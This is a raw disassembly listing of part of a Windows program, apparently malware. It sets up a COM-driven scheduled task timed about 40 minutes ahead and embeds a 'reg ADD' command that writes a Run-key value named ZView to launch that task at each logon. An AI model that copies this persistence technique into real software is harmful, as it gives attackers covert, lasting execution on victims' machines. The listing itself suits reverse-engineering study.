mov edx, esp
lea esi, [ebp - 0x280]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 1
call ecx
sub esp, 0xc
mov dword [ebp - 0x618], eax
jmp 0x41032a
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x4104db
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x29
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x61c], eax
jmp 0x410366
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x2a
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x620], eax
jmp 0x410389
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x2b
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x624], eax
jmp 0x4103ac
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x2c
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x628], eax
jmp 0x4103cf
mov dword [ebp - 0x3c], 0x2d
call sub.OLE32.DLL_CoUninitialize
jmp 0x4103dd
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x29d], 1
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x2e
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x29c]
mov dword [edx], ecx
mov dword [ebp - 0x62c], eax
call fcn.00411cc8
jmp 0x41041e
mov dword [ebp - 0x3c], 0x2f
mov eax, esp
lea ecx, [ebp - 0x29c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x62c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x41043f
mov byte [ebp - 0x29d], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x3c], 0x30
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x630], edx
mov dword [ebp - 0x634], eax
jmp 0x4104bf
lea ecx, [ebp - 0x29c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x638], edx
mov dword [ebp - 0x63c], eax
call fcn.00411d4c
test byte [ebp - 0x29d], 1
jne 0x4104ca
jmp 0x4104d6
mov eax, dword [ebp - 0x60]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x3c], 0x31
mov edx, esp
lea esi, [ebp - 0x2a4]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 0x445ec4
call ecx
sub esp, 0xc
mov dword [ebp - 0x640], eax
jmp 0x410517
mov eax, dword [ebp - 0x640]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x4106eb
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x32
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x644], eax
jmp 0x410553
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x33
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x648], eax
jmp 0x410576
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x34
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x64c], eax
jmp 0x410599
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x35
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x650], eax
jmp 0x4105bc
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x36
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x654], eax
jmp 0x4105df
mov dword [ebp - 0x3c], 0x37
call sub.OLE32.DLL_CoUninitialize
jmp 0x4105ed
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x2c1], 1
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x38
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x2c0]
mov dword [edx], ecx
mov dword [ebp - 0x658], eax
call fcn.00411cc8
jmp 0x41062e
mov dword [ebp - 0x3c], 0x39
mov eax, esp
lea ecx, [ebp - 0x2c0]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x658]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x41064f
mov byte [ebp - 0x2c1], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x3c], 0x3a
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x65c], edx
mov dword [ebp - 0x660], eax
jmp 0x4106cf
lea ecx, [ebp - 0x2c0]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x664], edx
mov dword [ebp - 0x668], eax
call fcn.00411d4c
test byte [ebp - 0x2c1], 1
jne 0x4106da
jmp 0x4106e6
mov eax, dword [ebp - 0x5c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x3c], 0x3b
mov eax, esp
lea ecx, [ebp - 0x2d4]
mov dword [eax], ecx
call sub.KERNEL32.DLL_GetLocalTime
sub esp, 4
jmp 0x410706
movzx eax, word [ebp - 0x2c8]
add eax, 0x28
mov cx, ax
mov word [ebp - 0x2c8], cx
movzx eax, word [ebp - 0x2c8]
cmp eax, 0x3c
jl 0x41074e
movzx eax, word [ebp - 0x2c8]
sub eax, 0x3c
mov cx, ax
mov word [ebp - 0x2c8], cx
movzx eax, word [ebp - 0x2ca]
add eax, 1
mov cx, ax
mov word [ebp - 0x2ca], cx
movzx eax, word [ebp - 0x2ca]
cmp eax, 0x3c
jl 0x410782
movzx eax, word [ebp - 0x2ca]
sub eax, 0x3c
mov cx, ax
mov word [ebp - 0x2ca], cx
movzx eax, word [ebp - 0x2cc]
add eax, 1
mov cx, ax
mov word [ebp - 0x2cc], cx
movzx eax, word [ebp - 0x2d4]
movzx ecx, word [ebp - 0x2d2]
movzx edx, word [ebp - 0x2ce]
movzx esi, word [ebp - 0x2cc]
movzx edi, word [ebp - 0x2ca]
movzx ebx, word [ebp - 0x2c8]
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x66c], eax
mov eax, esp
mov dword [eax + 0x20], ebx
mov dword [eax + 0x1c], edi
mov dword [eax + 0x18], esi
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ecx
mov ecx, dword [ebp - 0x66c]
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0x310]
mov dword [eax], ecx
mov dword [eax + 8], 0x4448ae
mov dword [eax + 4], 0x1e
call fcn.004344c0
mov dword [ebp - 0x670], eax
jmp 0x4107f6
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x3c]
mov dword [ebp - 0x3c], 0x3d
mov edx, esp
lea esi, [ebp - 0x310]
mov dword [edx + 4], esi
lea esi, [ebp - 0x314]
mov dword [edx], esi
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x678], ecx
call fcn.00411da0
jmp 0x41082e
mov eax, esp
lea ecx, [ebp - 0x314]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x3e
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x674]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x678]
call ecx
sub esp, 8
mov dword [ebp - 0x67c], eax
jmp 0x410864
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x84], eax
mov ecx, esp
lea edx, [ebp - 0x314]
mov dword [ecx], edx
call fcn.00411e0c
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x3f
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x680], eax
jmp 0x4108a2
cmp dword [ebp - 0x84], 0
jge 0x410a9b
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x40
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x684], eax
jmp 0x4108d2
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x41
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x688], eax
jmp 0x4108f5
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x42
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x68c], eax
jmp 0x410918
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x43
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x690], eax
jmp 0x41093b
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x44
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x694], eax
jmp 0x41095e
mov dword [ebp - 0x3c], 0x45
call sub.OLE32.DLL_CoUninitialize
jmp 0x41096c
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x331], 1
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x46
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x330]
mov dword [edx], ecx
mov dword [ebp - 0x698], eax
call fcn.00411cc8
jmp 0x4109ad
mov dword [ebp - 0x3c], 0x47
mov eax, esp
lea ecx, [ebp - 0x330]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x698]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x4109ce
mov byte [ebp - 0x331], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x3c], 0x48
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
lea ecx, [ebp - 0x314]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x69c], edx
mov dword [ebp - 0x6a0], eax
call fcn.00411e0c
jmp 0x411a59
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x6a4], edx
mov dword [ebp - 0x6a8], eax
jmp 0x410a7f
lea ecx, [ebp - 0x330]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x6ac], edx
mov dword [ebp - 0x6b0], eax
call fcn.00411d4c
test byte [ebp - 0x331], 1
jne 0x410a8a
jmp 0x410a96
mov eax, dword [ebp - 0x58]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x338], 0
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x44]
mov dword [ebp - 0x3c], 0x49
mov edx, esp
lea esi, [ebp - 0x338]
mov dword [edx + 4], esi
mov dword [edx], eax
call ecx
sub esp, 8
mov dword [ebp - 0x6b4], eax
jmp 0x410ad1
mov eax, dword [ebp - 0x6b4]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jge 0x410ca5
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x4a
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6b8], eax
jmp 0x410b0d
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x4b
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6bc], eax
jmp 0x410b30
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x4c
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6c0], eax
jmp 0x410b53
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x4d
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6c4], eax
jmp 0x410b76
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x4e
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6c8], eax
jmp 0x410b99
mov dword [ebp - 0x3c], 0x4f
call sub.OLE32.DLL_CoUninitialize
jmp 0x410ba7
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x355], 1
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x50
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x354]
mov dword [edx], ecx
mov dword [ebp - 0x6cc], eax
call fcn.00411cc8
jmp 0x410be8
mov dword [ebp - 0x3c], 0x51
mov eax, esp
lea ecx, [ebp - 0x354]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x6cc]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x410c09
mov byte [ebp - 0x355], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], 0x52
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x6d0], edx
mov dword [ebp - 0x6d4], eax
jmp 0x410c89
lea ecx, [ebp - 0x354]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x6d8], edx
mov dword [ebp - 0x6dc], eax
call fcn.00411d4c
test byte [ebp - 0x355], 1
jne 0x410c94
jmp 0x410ca0
mov eax, dword [ebp - 0x54]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x338]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x30]
mov dword [ebp - 0x3c], 0x53
mov edx, esp
lea esi, [ebp - 0x35c]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], 0
call ecx
sub esp, 0xc
mov dword [ebp - 0x6e0], eax
jmp 0x410ce2
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x338]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
mov dword [ebp - 0x3c], 0x54
mov esi, esp
mov dword [esi], ecx
call edx
sub esp, 4
mov dword [ebp - 0x6e4], eax
jmp 0x410d11
cmp dword [ebp - 0x84], 0
jge 0x410ed9
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x55
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6e8], eax
jmp 0x410d41
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x56
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6ec], eax
jmp 0x410d64
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x57
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6f0], eax
jmp 0x410d87
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x58
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6f4], eax
jmp 0x410daa
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x59
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x6f8], eax
jmp 0x410dcd
mov dword [ebp - 0x3c], 0x5a
call sub.OLE32.DLL_CoUninitialize
jmp 0x410ddb
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x379], 1
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x5b
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x378]
mov dword [edx], ecx
mov dword [ebp - 0x6fc], eax
call fcn.00411cc8
jmp 0x410e1c
mov dword [ebp - 0x3c], 0x5c
mov eax, esp
lea ecx, [ebp - 0x378]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x6fc]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x410e3d
mov byte [ebp - 0x379], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0x5d
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x700], edx
mov dword [ebp - 0x704], eax
jmp 0x410ebd
lea ecx, [ebp - 0x378]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x708], edx
mov dword [ebp - 0x70c], eax
call fcn.00411d4c
test byte [ebp - 0x379], 1
jne 0x410ec8
jmp 0x410ed4
mov eax, dword [ebp - 0x50]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x35c]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x3c], 0x5e
mov edx, esp
lea esi, [ebp - 0x380]
mov dword [edx + 8], esi
mov dword [edx], eax
mov dword [edx + 4], str.MbLk
call ecx
sub esp, 0xc
mov dword [ebp - 0x710], eax
jmp 0x410f15
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x35c]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
mov dword [ebp - 0x3c], 0x5f
mov esi, esp
mov dword [esi], ecx
call edx
sub esp, 4
mov dword [ebp - 0x714], eax
jmp 0x410f44
cmp dword [ebp - 0x84], 0
jge 0x41110c
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x60
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x718], eax
jmp 0x410f74
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x61
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x71c], eax
jmp 0x410f97
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x62
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x720], eax
jmp 0x410fba
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x63
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x724], eax
jmp 0x410fdd
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x64
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x728], eax
jmp 0x411000
mov dword [ebp - 0x3c], 0x65
call sub.OLE32.DLL_CoUninitialize
jmp 0x41100e
mov eax, esp
mov dword [eax], 0x24
call fcn.004413cc
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x39d], 1
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x3c], 0x66
mov edx, esp
mov dword [edx + 4], ecx
lea ecx, [ebp - 0x39c]
mov dword [edx], ecx
mov dword [ebp - 0x72c], eax
call fcn.00411cc8
jmp 0x41104f
mov dword [ebp - 0x3c], 0x67
mov eax, esp
lea ecx, [ebp - 0x39c]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x72c]
mov dword [eax], ecx
call fcn.00411d04
jmp 0x411070
mov byte [ebp - 0x39d], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], 0x68
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0xc], 0
mov dword [ecx + 8], fcn.00411d30
mov dword [ecx + 4], 0x445150
call fcn.0044147c
jmp 0x411a96
mov ecx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x730], edx
mov dword [ebp - 0x734], eax
jmp 0x4110f0
lea ecx, [ebp - 0x39c]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], edi
mov dword [esp], ecx
mov dword [ebp - 0x738], edx
mov dword [ebp - 0x73c], eax
call fcn.00411d4c
test byte [ebp - 0x39d], 1
jne 0x4110fb
jmp 0x411107
mov eax, dword [ebp - 0x4c]
mov ecx, esp
mov dword [ecx], eax
call fcn.004412b4
jmp 0x411a59
mov dword [ebp - 0x3b8], str.ADD__HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun___V__ZView___t_REG_SZ__F__D__schtasks__run__tn_ZView_REGZ
mov dword [ebp - 0x3b4], 0x6d
mov eax, esp
lea ecx, [ebp - 0x3bc]
mov dword [eax], ecx
mov dword [ebp - 0x740], ecx
call fcn.00401c24
mov dword [ebp - 0x3c], 0x69
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x740]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x3b0]
mov dword [edx], ecx
call fcn.00401c40
jmp 0x411168
mov dword [ebp - 0x3d4], 0x444957
mov dword [ebp - 0x3d0], 3
mov eax, esp
lea ecx, [ebp - 0x3d8]
mov dword [eax], ecx
mov dword [ebp - 0x744], ecx
call fcn.00401c24
mov dword [ebp - 0x3c], 0x6a
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0x3d0]
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x744]
mov dword [edx + 0xc], eax
lea ecx, [ebp - 0x3cc]
mov dword [edx], ecx
call fcn.00401c40
jmp 0x4111c4
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x2c]
mov edx, esp
lea esi, [ebp - 0x3cc]
mov dword [edx + 4], esi
lea edi, [ebp - 0x404]
mov dword [edx], edi
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x74c], ecx
mov dword [ebp - 0x750], esi
call fcn.00402114
mov eax, esp
mov ecx, dword [ebp - 0x750]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x410]
mov dword [eax], edx
call fcn.004021f0
mov eax, esp
lea ecx, [ebp - 0x414]
mov dword [eax], ecx
mov dword [ebp - 0x754], ecx
call fcn.004022cc
mov dword [ebp - 0x3c], 0x6b
mov eax, dword [ebp - 0x408]
mov ecx, esp
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x410]
mov edx, dword [ebp - 0x40c]
mov dword [ecx + 0x14], edx
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x3fc]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x404]
mov edx, dword [ebp - 0x400]
mov dword [ecx + 8], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x754]
mov dword [ecx + 0x1c], eax
lea edx, [ebp - 0x3f8]
mov dword [ecx], edx
call fcn.004022e8
jmp 0x41127d
mov eax, esp
lea ecx, [ebp - 0x3f8]
mov dword [eax], ecx
call fcn.00408aa0
mov dword [ebp - 0x3c], 0x6c
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x3dc]
mov dword [ecx], eax
call fcn.00411da0
jmp 0x4112a7
mov eax, esp
lea ecx, [ebp - 0x3dc]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x6d
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x748]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x74c]
call ecx
sub esp, 8
mov dword [ebp - 0x758], eax
jmp 0x4112dd
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x84], eax
mov ecx, esp
lea edx, [ebp - 0x3dc]
mov dword [ecx], edx
call fcn.00411e0c
mov eax, esp
lea ecx, [ebp - 0x3f8]
mov dword [eax], ecx
call fcn.00402348
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x34]
mov dword [ebp - 0x3c], 0x6e
mov edx, esp
lea esi, [ebp - 0x3b0]
mov dword [edx + 4], esi
lea esi, [ebp - 0x434]
mov dword [edx], esi
mov dword [ebp - 0x75c], eax
mov dword [ebp - 0x760], ecx
call fcn.00411e28
jmp 0x41133f
mov eax, esp
lea ecx, [ebp - 0x434]
mov dword [eax], ecx
call fcn.00408aa0
mov dword [ebp - 0x3c], 0x6f
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [ebp - 0x418]
mov dword [ecx], eax
call fcn.00411da0
jmp 0x411369
mov eax, esp
lea ecx, [ebp - 0x418]
mov dword [eax], ecx
call fcn.00411dcc
mov dword [ebp - 0x3c], 0x70
mov ecx, esp
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x75c]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x760]
call ecx
sub esp, 8
mov dword [ebp - 0x764], eax
jmp 0x41139f
mov eax, esp
lea ecx, [ebp - 0x418]
mov dword [eax], ecx
call fcn.00411e0c
mov eax, esp
lea ecx, [ebp - 0x434]
mov dword [eax], ecx
call fcn.00402348
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x71
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x768], eax
jmp 0x4113e0
cmp dword [ebp - 0x84], 0
jge 0x4116ac
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x72
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x76c], eax
jmp 0x411410
mov eax, dword [ebp - 0x25c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x3c], 0x73
mov edx, esp
mov dword [edx], eax
call ecx
sub esp, 4
mov dword [ebp - 0x770], eax
jmp 0x411433
